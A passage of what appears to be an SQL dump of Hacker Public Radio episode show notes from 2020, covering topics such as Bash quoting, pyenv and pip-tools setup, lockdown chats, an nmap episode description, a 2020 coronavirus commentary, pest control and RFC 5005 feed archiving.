href=\"https://stackoverflow.com/questions/6697753/difference-between-single-and-double-quotes-in-bash\">Difference between single and double quotes in Bash</a></li>\r\n<li><a href=\"https://stackoverflow.com/questions/3834839/how-to-escape-a-double-quote-inside-double-quotes\">How to escape a double quote inside double quotes</a></li>\r\n</ul></li>\r\n</ul>\r\n<section class=\"footnotes\">\r\n<hr />\r\n<ol>\r\n<li id=\"fn1\"><p>This is quite an artificial example to make a point. You wouldn’t do things this way in reality. Using <code>x=\'string1\'\"\'string2\"</code> would also work (<code>\'string1\'</code> in single quotes, and <code>\"\'string2\'\"</code> in double quotes). Also, you could just write <code>x=\"string1\'string2\"</code> and stop all the messing about, but that would not be much of an example!<a href=\"#fnref1\" class=\"footnote-back\">↩</a></p></li>\r\n<li id=\"fn2\"><p>The backslash is making the space a literal space, otherwise Bash would see it as an argument delimiter, and would look for the files <code>\'a\'</code>, <code>\'file\'</code>, <code>\'with\'</code> and <code>\'spaces.awk\'</code> to list details about!<a href=\"#fnref2\" class=\"footnote-back\">↩</a></p></li>\r\n</ol>\r\n</section>\r\n',225,42,1,'CC-BY-SA','Bash,quotes',0,0,1),
(3072,'2020-05-12','The joy of pip-tools and pyenv-virtualenv',1441,'How to manage your dependencies and environment isolation when developing in Python','<p>TL;DL: What I end up recommending is that you use pip-tools for your dependency management needs, and pyenv-virtualenv for your environment management needs. In the show I explain why you would want these things.</p>\r\n\r\n<p>I talk about these tools:</p>\r\n\r\n<ul>\r\n  <li><a href=\"https://virtualenv.pypa.io/\">virtualenv</a></li>\r\n  <li><a href=\"https://python-poetry.org/\">poetry</a></li>\r\n  <li><a href=\"https://pipenv.pypa.io/\">pipenv</a></li>\r\n  <li><a href=\"https://github.com/jazzband/pip-tools/\">pip-tools</a></li>\r\n  <li><a href=\"https://virtualenvwrapper.readthedocs.io/\">virtualenvwrapper</a></li>\r\n  <li><a href=\"https://github.com/pyenv/pyenv\">pyenv</a></li>\r\n  <li><a href=\"https://github.com/pyenv/pyenv-virtualenv\">pyenv-virtualenv</a></li>\r\n</ul>\r\n\r\n<p>I mention in passing, and as fodder for further shows:</p>\r\n\r\n<ul>\r\n  <li><a href=\"https://reproducible-builds.org/\">reproducible builds</a></li>\r\n  <li><a href=\"https://nixos.org/nix/\">Nix</a></li>\r\n  <li><a href=\"https://tox.readthedocs.io/\">tox</a></li>\r\n  <li>I also owe you a show on my awesome bash prompt that shows me which environment I am in.</li>\r\n</ul>\r\n\r\n<h2 id=\"install-pyenv-and-pyenv-virtualenv\">Install pyenv and pyenv-virtualenv</h2>\r\n\r\n<pre><code>git clone https://github.com/pyenv/pyenv ~/.pyenv\r\ngit clone https://github.com/pyenv/pyenv-virtualenv ~/.pyenv/plugins/pyenv-virtualenv\r\n</code></pre>\r\n\r\n<p>Add to <code>~/.bash_profile</code>:</p>\r\n\r\n<pre><code>export PYENV_ROOT=$HOME/.pyenv\r\nexport PATH=$PYENV_ROOT/bin:$PATH\r\n</code></pre>\r\n\r\n<p>Add to <code>~/.bash_profile</code> (optional):</p>\r\n\r\n<pre><code>eval \"$(pyenv init -)\"\r\neval \"$(pyenv virtualenv-init -)\"\r\n</code></pre>\r\n\r\n<p>The optional bits provide you with the <code>pyenv shell</code> functionality for setting a session-specific Python version, and automatic activation of the virtualenv. Most of the time you don’t need activation, scripts and commands run just fine via the shims, but some tooling around Python may sometimes need to know which virtualenv you’re in.</p>\r\n\r\n<p>Run the export and eval lines in your shell to have the configuration work immediately. Alternatively, do <code>su - yourusername</code> to login to a new session that runs the profile. The <code>-</code> is important.</p>\r\n\r\n<p>You might be able to get away with just opening a new tab or window in your terminal. Whether that runs the profile depends on your settings.</p>\r\n\r\n<h2 id=\"set-up-your-pyenv-virtualenv-for-your-project\">Set up your pyenv virtualenv for your project</h2>\r\n\r\n<pre><code># Creates the virtualenv named my-project-env using \r\n# the python named system (your system default python)\r\npyenv virtualenv system my-project-env  \r\ncd /path/to/my-project\r\npyenv local my-project-env\r\n</code></pre>\r\n\r\n<p>Your system Python may or may not work for this. You might have to install pip and virtualenv. It might still break with some message about <code>ensurepip</code> failing (currently both Nix (20.09pre) python and Ubuntu (18.04) python are failing for me, and older Anaconda pythons also had a broken venv). In that case, use pyenv to install a Python that works, and use that instead of the system python:</p>\r\n\r\n<pre><code>pyenv install miniconda3-latest\r\npyenv virtualenv miniconda3-latest my-project-env\r\ncd /path/to/my-project\r\npyenv local my-project-env\r\n</code></pre>\r\n\r\n<h2 id=\"install-pip-tools\">Install pip-tools</h2>\r\n\r\n<p>You’ll want to do this inside the virtual environment that you want to manage. Don’t install pip-tools globally.</p>\r\n\r\n<pre><code>cd /path/to/my/project\r\n# And, assuming you have the shims on your $PATH\r\n# and you set the pyenv local as shown previously\r\npython -m pip install pip-tools\r\n</code></pre>\r\n\r\n<p>Now put your requirements in <code>requirements.in</code>, one on each line, in the form you would give them to <code>pip</code> on the command line:</p>\r\n\r\n<pre><code>somepackage &gt;=3, &lt;4\r\notherpackage &lt;7\r\n</code></pre>\r\n\r\n<p>Compile <code>requirements.in</code> to a <code>requirements.txt</code>:</p>\r\n\r\n<pre><code>python -m piptools compile\r\n</code></pre>\r\n\r\n<p>You could run the shorter command <code>pip-compile</code> for convenience, but using the long form with <code>-m</code> looks it up through your configured Python, and makes it less likely for you to surprise yourself and run a tool in a different virtualenv than you expected. Same with <code>python -m pip</code> above.</p>\r\n\r\n<p>Your <code>requirements.txt</code> will look something like this:</p>\r\n\r\n<pre><code>otherpackage==6.9.3          # via -r requirements.in\r\nsomepackage==3.4.2           # via -r requirements.in\r\ntransitivedependency==2.7.6  # via somepackage\r\n</code></pre>\r\n\r\n<p>It helpfully tells you where everything is from!</p>\r\n\r\n<p>Now to actually install these things you <code>python -m pip -r requirements.txt</code>.</p>\r\n\r\n<p>Now you’re good to go! Happy hacking!</p>',311,38,1,'CC-BY-SA','python,pyenv,virtualenv,virtualenvwrapper,poetry,pipenv,pip-tools',0,0,1),
(3076,'2020-05-18','Keep calm and Virion',3526,'A COVID-19 lockdown chat from Scotland','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Two HPR hosts from Scotland get together over Mumble to chat about all manner of stuff.</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n</ul>\r\n<h2 id=\"apology\">Apology</h2>\r\n<p>Dave’s sound was a bit muffled in this recording. It turns out that it’s important which USB port the microphone (Zoom recorder) is plugged into. Who knew!</p>\r\n<h2 id=\"notes\">Notes</h2>\r\n<p>Some of the topics we discussed</p>\r\n<ul>\r\n<li>Accent differences in Scotland\r\n<ul>\r\n<li>What is <em>Butcher Meat</em>? Is it an Edinburgh expression?</li>\r\n</ul></li>\r\n<li>The Fish Van from <a href=\"https://en.wikipedia.org/wiki/Pittenweem\" title=\"A fishing village in Fife\">Pittenweem</a>\r\n<ul>\r\n<li>The mysterious non-Crab Crab meat</li>\r\n<li>Dressed and live crabs in <a href=\"https://en.wikipedia.org/wiki/Cromer\" title=\"A town on the Norfolk coast\">Cromer</a></li>\r\n</ul></li>\r\n<li>Handling enforced isolation; the response to COVID-19</li>\r\n<li>The type of disposable masks sold for DIY use can be impractical</li>\r\n<li>Supermarket online shopping and delivery versus local shopping</li>\r\n<li>The etiquette of distancing when out walking or cycling for exercise during the lockdown</li>\r\n<li>Cycling anecdotes\r\n<ul>\r\n<li><a href=\"https://www.slime.com/uk/products/bike/sealants/tube-sealant.php\" title=\"Slime tube sealant\">Slime</a> tube sealant</li>\r\n<li>Old railway lines turned to cycle paths (e.g. <a href=\"https://en.wikipedia.org/wiki/Balerno_line\" title=\"Balerno railway line, now a walkway\">Balerno line</a> in Edinburgh, <a href=\"https://en.wikipedia.org/wiki/Marriott&#39;s_Way\" title=\"Marriott&#39;s Way, Norfolk, originally a railway line\">Marriott’s Way</a> in Norfolk)</li>\r\n</ul></li>\r\n<li>Industrial archaeology and historical buildings\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\" title=\"Water of Leith\">Water of Leith</a>, Edinburgh</li>\r\n<li>Paper making (<a href=\"https://en.wikipedia.org/wiki/Esparto\" title=\"Esparto grass\">Esparto grass</a>)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/River_Kelvin\" title=\"River Kelvin\">River Kelvin</a>, Glasgow</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/William_Thomson,_1st_Baron_Kelvin\" title=\"Lord Kelvin\">Lord Kelvin</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Warrender_Baths\" title=\"Warrender Baths, Edinburgh\">Warrender Baths</a>, Edinburgh</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Govanhill_Baths\" title=\"Govanhill Baths, Glasgow\">Govanhill Baths</a>, Glasgow (ref. <em>steamie</em>)</li>\r\n</ul></li>\r\n<li>Electronics\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ESP8266\" title=\"Low-cost Wi-Fi microchip\">ESP8266</a>, <a href=\"https://en.wikipedia.org/wiki/ESP32\" title=\"Microcontroller with integrated Wi-Fi and dual-mode Bluetooth\">ESP32</a></li>\r\n<li><a href=\"https://sonoff.tech/\" title=\"Home automation\">Sonoff</a> home automation</li>\r\n</ul></li>\r\n<li>D&amp;D sessions\r\n<ul>\r\n<li>Initiated by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">Klaatu</a> in New Zealand</li>\r\n</ul></li>\r\n<li>Shortages during the pandemic: toilet rolls, flour, etc\r\n<ul>\r\n<li>Supply chains: wholesale versus domestic</li>\r\n</ul></li>\r\n<li><em>Dracula</em> by Bram Stoker\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Whitby\" title=\"A coastal town in Yorkshire\">Whitby</a>, Yorkshire</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Brașov\" title=\"A city in Transylvania, Romania\">Brașov</a>, Transylvania, Romania.\r\n<ul>\r\n<li>Called <em>Corona</em> at one point in its history.</li>\r\n<li>Near to <a href=\"https://en.wikipedia.org/wiki/Bran_Castle\" title=\"Bran Castle, near Brașov\">Bran Castle</a>, known outside Romania as Dracula’s Castle.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Pittenweem\">Pittenweem</a>, a fishing village in Fife</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Cromer\">Cromer</a>, a town on the Norfolk coast, famous for its crabs</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Whitby\">Whitby</a>, a seaside town in North Yorkshire</li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','Virus,Virion,COVID-19',0,0,1),
(3090,'2020-06-05','Locating Computer on a Enterprise Network',2388,'advanced nmap tips','<p>\r\nIn this episode operat0r responds to <a href=\"https://hackerpublicradio.org/eps.php?id=3052\">hpr3052 :: Locating computers on a network</a>, with more tips and tricks. Then he continues through a detailed exercise in using nmap on the corporate network.\r\n</p>\r\n<p>\r\nThe expanded commands can be found <a href=\"https://hackerpublicradio.org/eps/hpr3090.txt\">here</a>.\r\n</p>',36,61,1,'CC-BY-SA','nmap,hacking,computers,networking,scripting,bash,shell',0,0,1),
(3073,'2020-05-13','Matchbox and Diecast Restoration',182,'A short episode about my New hobby restoring Matchbox and other Diecast models','<p>\r\nToday\'s show is about my recently started hobby of restoring Matchbox models. I talked about this on the New Year show and Ken said it deserved a show in its own right.\r\n</p>\r\n<p>\r\nSo today I briefly talk about how I got into the hobby through watching YouTube Videos of Marty\'s Matchbox Makeovers, and my first restoration pictured below. Enjoy.\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3073.jpg\">\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3073_thumbnail.jpg\" title=\"\" alt=\"Photo of a silver matchbox car\" ></a>\r\n</p>\r\n\r\n\r\n<h3>Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/channel/UCLM7pRUW6CmqqoAic24wbpQ\">https://www.youtube.com/channel/UCLM7pRUW6CmqqoAic24wbpQ</a></li>\r\n</ul>\r\n\r\n',338,114,0,'CC-BY-SA','Matchbox, Diecast Models, Restoration',0,0,1),
(3078,'2020-05-20','Coronavirus Update 2020-05-07',878,'Where we are with this pandemic, and how should we respond?','<p>This is an update to my earlier show to pull together what we know about the Coronavirus on this date, and what measures we can take. It focuses on the lack of solid information at this point and suggests a prudent course to stay safe. <a href=\"https://www.palain.com/health-topics/coronavirus-update-20200507/\" class=\"uri\">https://www.palain.com/health-topics/coronavirus-update-20200507/</a></p>\r\n<ul>\r\n<li><a href=\"https://www.palain.com/health-topics/scientific-and-medical-reports/\" class=\"uri\">https://www.palain.com/health-topics/scientific-and-medical-reports/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2685\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2685</a></li>\r\n<li><a href=\"https://www.cdc.gov/flu/about/burden/2017-2018.htm\" class=\"uri\">https://www.cdc.gov/flu/about/burden/2017-2018.htm</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/All_models_are_wrong\" class=\"uri\">https://en.wikipedia.org/wiki/All_models_are_wrong</a></li>\r\n<li><a href=\"https://www.healthdata.org/covid/updates\" class=\"uri\">https://www.healthdata.org/covid/updates</a></li>\r\n<li><a href=\"https://www.medpagetoday.com/infectiousdisease/covid19/86127\" class=\"uri\">https://www.medpagetoday.com/infectiousdisease/covid19/86127</a></li>\r\n<li><a href=\"https://www.cnn.com/2020/05/04/health/us-coronavirus-monday/index.html\" class=\"uri\">https://www.cnn.com/2020/05/04/health/us-coronavirus-monday/index.html</a></li>\r\n<li><a href=\"https://www.palain.com/health-topics/coronavirus-update-20200507/\" class=\"uri\">https://www.palain.com/health-topics/coronavirus-update-20200507/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n\r\n<p>\r\nExtracted from <a href=\"https://www.palain.com/health-topics/coronavirus-update-20200507/\">Palain.com</a> under the tearms of Creative Commons Attribution-ShareAlike 4.0 International License. \r\n</p>\r\n\r\n<h1 >Coronavirus Update 20200507</h1>\r\n\r\n<p>The coronavirus pandemic is continuing throughout most of the world, and I wanted to put down some observations on where we stand today. First, note that I put the date in the title. This is because the situation in some ways changes day-by-day, even though there are continuities. That makes it a dangerous place to be because it is human nature to look for the latest news and jump on it if it looks good. And that is a prime mistake because we do not in fact know enough at this point to be confident in these news reports. I would refer you to my earlier essay, <a rel=\"noreferrer noopener\" href=\"https://www.palain.com/health-topics/scientific-and-medical-reports/\" target=\"_blank\">Scientific and Medical Reports</a>, which is highly relevant right now. While I could not have predicted this pandemic when I wrote it, it contains basic principles that are <em>always</em> relevant. </p>\r\n\r\n\r\n\r\n<p>The nature of the press is that it is like the carnivorous plant in the movie <em>Little Shop of Horrors</em>, always crying \"Feed Me!\" And of course we are all interested if not to say anxious for any news on the course of this disease and where it is taking us. What this means is that you will see a unstoppable stream of news stories touting the latest study on one or another aspect of this. Add in the desire of politicians to spin things to their advantage, and you have a recipe for disaster. To keep sane, remember a few basic principles:</p>\r\n\r\n\r\n\r\n<ul><li>One study proves nothing. There are lots of studies, and many of them are one-and-done without having any effect on medical practice. If there is an interesting result, it merely indicates an area for further study.</li><li>Study results are only meaningful when they have withstood peer review and have been replicated by other scientists. This process does produce good results, but only with time. Only in movies do scientists go into the lab and come out 24 hours later with the answer.</li><li>If you really want to know when all of this will end, there are only two answers. It can end very soon with an accompanying loss of life because the virus is still spreading. This is starting to show up in places that ignore the science. Going outside without a mask and carrying on as usual is not brave, it is stupid.</li><li>The other answer is that a gradual relaxation of isolation can happen if it guided by sound science. Unfortunately, as just explained, that sound science is still being sought, and will take time.</li><li>When you see the vast majority of doctors and scientists saying the same thing, that is your best assurance the information is accurate. </li><li>Right now the number one priority is testing, testing, testing.</li></ul>\r\n\r\n\r\n\r\n<p>So, with that background, do we know anything at this point? Yes, we do. But we also have a lot of unanswered questions.</p>\r\n\r\n\r\n\r\n<h2>Second Wave?</h2>\r\n\r\n\r\n\r\n<p>The first big question is whether there will be a second wave, and this is something that every qualified epidemiologist I have heard from says is guaranteed. And the reason is that a certain \"fatigue\" sets in with staying in isolation, and at least some people will convince themselves they don’t need to do it. They are wrong, and they will guarantee that second wave. In the 1918 Flu Pandemic, the second wave was far worse than the first wave. And don’t forget there was a third wave in that pandemic until it petered out in 1920. The best thing you can do is keep isolated if at all possible, and follow all of the guidelines: </p>\r\n\r\n\r\n\r\n<ul><li>Wear a mask if you must go out, such as for groceries.</li><li>Many stores are offering special hours for seniors. If you are one, take advantage.</li><li>After a shopping trip, wash or disinfect items carefully. Remember that soap is all you need to defeat the virus, but use disinfectant wipes when soap is not practical.</li><li>After returning, strip and place all of your clothes in the washer. The detergent should kill any virus that is there.</li><li>Wash your hands with soap frequently.</li><li>Try not to touch your face.</li><li>Maintain at least two meters distance from anyone not in your household when you do go out.</li><li>Try to stay fit. I go for walks in my neighborhood if there aren’t too many others out, and when there is someone else out, I give them a wide separation. I also do gardening in my own yard, and exercise in my home. That won’t prevent you from getting the disease, but it may prevent you from dying of it.</li></ul>\r\n\r\n\r\n\r\n<p>Yeah, this is all of the stuff we have been hearing all along. But annoying as it is, it <em>does</em> work if you do it.</p>\r\n\r\n\r\n\r\n<h2>Is the virus mutating?</h2>\r\n\r\n\r\n\r\n<p>Yes. In other news, water is wet. Face it, mutation is what organisms do, and that has been true for billions of years. The question you really have is \"Is it getting worse?\" And right now the answer is \"We don’t know.\" Sorry I can’t give you any more determinative answer, but we are only at the \"one study\" phase right now, and we are a ways off from the \"peer-reviewed, replicated consensus\" phase that will resolve this. There are indications that at least this virus does not mutate as much as influenza, but even that may require more study.</p>\r\n\r\n\r\n\r\n<h2>Am I Immune?</h2>\r\n\r\n\r\n\r\n<p>We would all love to know if we are immune. This requires two big things to give a good answer. First, does having the disease and then recovering give you immunity? And the sad truth is that we don’t know yet. The common cold is a coronavirus, and you never get immunity. Influenza is a virus, and getting it one year provides no immunity the next. And if getting it once does provide immunity, we still need testing to discover this. The number one priority right now in all locations should be testing, testing, testing. That is the prerequisite for doing any decent epidemiology. There was a report (note: <em>one study</em>) out of South Korea that indicated that some people could get the disease twice, but they re-analyzed the data and decided that it might have been false positives. That is the kind of thing that happens when scientists are trying to do a year’s worth of work in few weeks, which is what they are doing.</p>\r\n\r\n\r\n\r\n<h2>Is It More Infectious Than We Thought?</h2>\r\n\r\n\r\n\r\n<p>Again, very unclear. And even less clear is what this implies. An argument is being made that if the rate of infection is higher, given the number of deaths, that would imply it is less lethal. And that is being used to argue in favor of this not being a big deal, so reopen everything. But to put it in perspective, in the 2017-2018 flu season, which was on the high end of deaths, we had <a href=\"https://www.cdc.gov/flu/about/burden/2017-2018.htm\">61 thousand deaths in the U.S</a>. Today, in just over 2 months, we have 75 thousand deaths in the US, and that is with all of the extraordinary measures we put in place to keep people safe. To make an argument that Covid-19 is no more dangerous than the flu is to be criminally stupid at best.</p>\r\n\r\n\r\n\r\n<h2>Didn’t They Predict More Deaths?</h2>\r\n\r\n\r\n\r\n<p>Why yes, they did. A widely used model in the US is from the Institute for Health Metrics and Evaluation (IHME), at the University of Washington. And they have issued forecasts that ranged from hundreds of thousands of deaths to around 60,000 deaths. Clearly they have no idea what they are doing, right? Not so fast. As the statistician <a href=\"https://en.wikipedia.org/wiki/All_models_are_wrong\">George Box</a> famously said, \"All models are wrong but some are useful\". In this case you have to factor in two things. One is uncertainty, of course. To forecast how many people will die, it helps to know how many people <em>have</em> died, and this has been subject to fierce debate. </p>\r\n\r\n\r\n\r\n<p>And here it gets difficult, since one argument is over what counts as a Covid-19 death. And since every one of our 50 states has their own health reporting system, there is a wide disparity. One example of this is the idea of \"excess deaths\". If a given area has a pretty regular death rate for a number of years, and suddenly that death rate jumps 500% in the midst of a pandemic, it is reasonable to suspect those \"excess deaths\" are a result of the coronavirus. But if those deaths get counted, others will argue that it is inflating the numbers, and that only a positive coronavirus serum test should count. Since each state does this differently, this leads to the odd result that the disease appears more or less lethal depending on your state of residence. And that means politicians have incentive to get the numbers they want.</p>\r\n\r\n\r\n\r\n<p>The other factor complicating things is the phenomenon known as the \"self-preventing\" prophecy. You see, the initial high estimates tended to be \"This is what will happen if you don’t take strong measures\", and of course they were very high. And we know that governments like the UK and the US looked at those predictions, and started to take some stronger measures. So after a little bit, new predictions came out that were lower <em>as a result</em> of those measures. And now we are seeing misguided efforts to get people to go out and resume normal life, and <em>as a result</em> the newest forecasts are going up again. This is a feedback loop, in other words. </p>\r\n\r\n',198,100,0,'CC-BY-SA','Health, Coronavirus',0,0,1),
(3115,'2020-07-10','Pest Control',2291,'Talk about pest control','<ul>\r\n<li><a href=\"https://smile.amazon.com/s?k=Mosquito+Dunk\" class=\"uri\">https://smile.amazon.com/s?k=Mosquito+Dunk</a>\r\n<ul>\r\n<li>essentra ic3 for outdoors (30-90days)</li>\r\n<li>bee Friendly Mavrik Perimeter for indoor/outdoor OR bad for bees 4 oz of bifen (30-90days)</li>\r\n<li>delta dust for cracks / walls etc ( 6 -8 mos nasty stuff … )</li>\r\n<li>Syngenta Advion Cockroach Gel Bait ( only when you have issues with above approach or infestation )</li>\r\n<li><a href=\"https://www.stihlusa.com/products/sprayers/backpack-sprayers/sr450/\" class=\"uri\">https://www.stihlusa.com/products/sprayers/backpack-sprayers/sr450/</a> ( blower I use for outside ~$700USD I spray neighbors for $20USD to create a perimeter around my house :P )</li>\r\n<li>use normal pump sprayer for indoors suggest using a metal tip for finer mist on baseboards etc youtube for best approach… I DO NOT spray surfaces that people touch .. some folks spray ‘safe’ indoor stuff on carpet and couches … I spray under/around/behind</li>\r\n</ul></li>\r\n<li>FULL TANK ( ~3.5 gal )GETS:\r\n<ul>\r\n<li>4 oz of bifen OR .5oz of Mavrik</li>\r\n<li>12 of essentra ic3</li>\r\n</ul></li>\r\n<li>Pump Sprayer gets:\r\n<ul>\r\n<li>1gal water</li>\r\n<li>.5oz bifen or .1 Mavrik</li>\r\n</ul></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','Pest Control,bugs,DIY,Home Improvement',0,0,1),
(3082,'2020-05-26','RFC 5005 Part 1 – Paged and archived feeds? Who cares?',2108,'An interview with two passionate RFC 5005 fans on how to handle big Atom feeds','<p>This conversation took almost an hour, so I split it into two shows:</p>\r\n\r\n<ul>\r\n  <li>Part 1 talks mostly about the RFC itself, what it means and why.</li>\r\n  <li>Part 2 goes into personal experiences with the RFC and with syndication in general, in particular in the context of web comics. This is part 1.</li>\r\n</ul>\r\n\r\n<h2 id=\"the-why\">The why</h2>\r\n\r\n<p>When serving most RSS/Atom feed readers today, you have to choose: Do you make a complete feed with all the things you ever published, or do you make a shorter feed with just the latest entries?</p>\r\n\r\n<p>This is a trade-off with pros and cons, and it seems like a trade-off you have to make, but a solution to let your Atom feed have the cake and eat it too existed already 13 years ago, if only any of our feed readers would adhere to it: RFC 5005, <em>Feed Paging and Archiving</em></p>\r\n\r\n<h2 id=\"the-what\">The what</h2>\r\n\r\n<p><a href=\"https://tools.ietf.org/html/rfc5005\">https://tools.ietf.org/html/rfc5005</a> was published in September 2007</p>\r\n\r\n<ul>\r\n  <li>The XML namespace for RFC 5005 elements is <code>https://purl.org/syndication/history/1.0</code>, aliased as <code>fh</code> below.</li>\r\n  <li>Section 2 defines the <em>complete feed</em>: It is one document (Atom file) that contains the entire set the feed describes. The document is marked with an <code>fh:complete</code> element.</li>\r\n  <li>Section 3 defines the <em>paged feed</em>: It is a series of documents connected with Atom <code>link</code> elements with <code>rel</code> set to the <em>link relations</em> <code>first</code>, <code>last</code>, <code>previous</code> or <code>next</code>.</li>\r\n  <li>Section 4 defines the <em>archived feed</em>: It has a <em>subscription document</em> that may change at any time, and a series of <em>archive documents</em> that are expected to have stable contents and URIs. The link relations defined are <code>current</code>, <code>prev-archive</code> and <code>next-archive</code>. The semantics are clearer: <code>prev-archive</code> refers to previously published entries, and because the contents are stable you can stop when you see a URI to a document you already have. Archive documents are marked with the <code>fh:archive</code> element.</li>\r\n</ul>\r\n\r\n<h2 id=\"the-who\">The who</h2>\r\n\r\n<p>In this show I’m talking to:</p>\r\n\r\n<h3 id=\"fluffy\">fluffy</h3>\r\n\r\n<ul>\r\n  <li>Federated social web:<br />\r\n<a href=\"https://queer.party/@fluffy\">https://queer.party/@fluffy</a></li>\r\n  <li>Writes and makes things in several creative fields:<br />\r\n<a href=\"https://beesbuzz.biz/\">https://beesbuzz.biz/</a></li>\r\n  <li>Publ is like a static site generator, but dynamic. It produces RFC 5005 archive feeds, of course:<br />\r\n<a href=\"https://publ.beesbuzz.biz/\">https://publ.beesbuzz.biz/</a></li>\r\n  <li>Thoughts on ephemeral content vs content worth archiving and how they relate to protocols:<br />\r\n<a href=\"https://beesbuzz.biz/blog/5709-Keeping-it-personal\">https://beesbuzz.biz/blog/5709-Keeping-it-personal</a></li>\r\n</ul>\r\n\r\n<h3 id=\"jamey\">Jamey</h3>\r\n\r\n<ul>\r\n  <li>Federated social web:<br />\r\n<a href=\"https://toot.cat/@jamey\">https://toot.cat/@jamey</a></li>\r\n  <li>Blog:<br />\r\n<a href=\"https://minilop.net/\">https://minilop.net/</a></li>\r\n  <li>Made a prototype full-history reader that follows RFC 5005 links:<br />\r\n<a href=\"https://reader.minilop.net/\">https://reader.minilop.net/</a></li>\r\n  <li>Made a webcomic reader mostly mentioned in Part 2:<br />\r\n<a href=\"https://www.comic-rocket.com/\">https://www.comic-rocket.com/</a></li>\r\n  <li>Made a WordPress plugin implementing RFC 5005:<br />\r\n<a href=\"https://github.com/jameysharp/wp-fullhistory\">https://github.com/jameysharp/wp-fullhistory</a></li>\r\n  <li>Made an RFC 5005 archive feed synthesizer for sites with a predictable post frequency and URL structure:<br />\r\n<a href=\"https://github.com/jameysharp/predictable/\">https://github.com/jameysharp/predictable/</a><br />\r\nHosted at <a href=\"https://fh.minilop.net/\">https://fh.minilop.net/</a></li>\r\n  <li>Was on HPR 9 years ago, talking about Xorg!<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0825\">https://hackerpublicradio.org/eps.php?id=0825</a></li>\r\n</ul>\r\n\r\n<h2 id=\"conversation-notes\">Conversation notes</h2>\r\n\r\n<ul>\r\n  <li>Google Reader was terminated 2013-07-01, all subscription data permanently gone on 2013-07-15:<br />\r\n<a href=\"https://www.google.com/reader/about/\">https://www.google.com/reader/about/</a></li>\r\n  <li>Mastodon had Atom feeds with paging, but the feeds went away when OStatus went away:<br />\r\n<a href=\"https://github.com/tootsuite/mastodon/pull/11247\">https://github.com/tootsuite/mastodon/pull/11247</a></li>\r\n  <li>HTML4 does indeed define the HTML link relations:<br />\r\n<a href=\"https://www.w3.org/TR/html4/types.html#h-6.12\">https://www.w3.org/TR/html4/types.html#h-6.12</a><br />\r\nIt has <code>prev</code> rather than the <code>previous</code> of RFC 5005, but mentions that some browsers support <code>previous</code> as an alias.</li>\r\n  <li>HTML5 also defines the HTML link relations:<br />\r\n<a href=\"https://html.spec.whatwg.org/multipage/links.html\">https://html.spec.whatwg.org/multipage/links.html</a><br />\r\nHere <code>previous</code> is a lower-case <em>must</em> for historical reasons.</li>\r\n  <li>IANA manages the Registry of Link Relations:<br />\r\n<a href=\"https://www.iana.org/assignments/link-relations/link-relations.xhtml\">https://www.iana.org/assignments/link-relations/link-relations.xhtml</a><br />\r\nIt references RFC 5005 for the Section 4 relations, but not the Section 3 ones.</li>\r\n  <li>RFC 5005 singles out its own Section 3 (<em>Paged Feeds</em>) as the best-effort, loose, discouraged model.\r\n    <ul>\r\n      <li>Section 3:\r\n        <blockquote>Therefore, clients SHOULD NOT present paged feeds as coherent or complete, or make assumptions to that effect.</blockquote>\r\n      </li>\r\n      <li>Section 4:\r\n        <blockquote>Unlike paged feeds, archived feeds enable clients to do this without losing entries.</blockquote>\r\n      </li>\r\n    </ul>\r\n  </li>\r\n  <li>I’m confused about it in the show, but the RFC is clear that an <em>archived feed</em> has one dynamic <em>subscription document</em>, which points to a chain of immutable <em>archive documents</em>.</li>\r\n  <li>Back in 2002, Aaron Swartz published his joke MIME-header-based <em>RSS 3</em>:<br />\r\n<a href=\"https://www.aaronsw.com/weblog/000574\">https://www.aaronsw.com/weblog/000574</a><br />\r\nThe cultural context at the time and the rivalry between RSS 0.91+, RSS 1.0, RSS 2.0 and Atom deserves a show of its own.</li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','rss,atom,rfc,interview,feedreader,podcatcher',0,0,1),
(3083,'2020-05-27','Mumbling while on lockdown',3021,'Two Edinburgh-based hosts have a chat from their respective houses','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Two HPR hosts based in Edinburgh got together over Mumble to have a chat during the COVID-19 lockdown.</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n</ul>\r\n<h2 id=\"apology\">Apology</h2>\r\n<p>Dave’s sound was a bit distorted in this recording. Having had recent problems using the Zoom recorder as a microphone, this time the in-built microphone was resorted to, with even worse results it turned out. See the <a href=\"#sound-processing\">Sound processing</a> section below if you want to know more.</p>\r\n<h2 id=\"notes\">Notes</h2>\r\n<p>Some of the topics we discussed</p>\r\n<ul>\r\n<li>Locations for recording. Ambient noises.</li>\r\n<li>WiFi versus ethernet. Dave has a 5-port switch on his dining table (not 8-port).</li>\r\n<li>ADSL 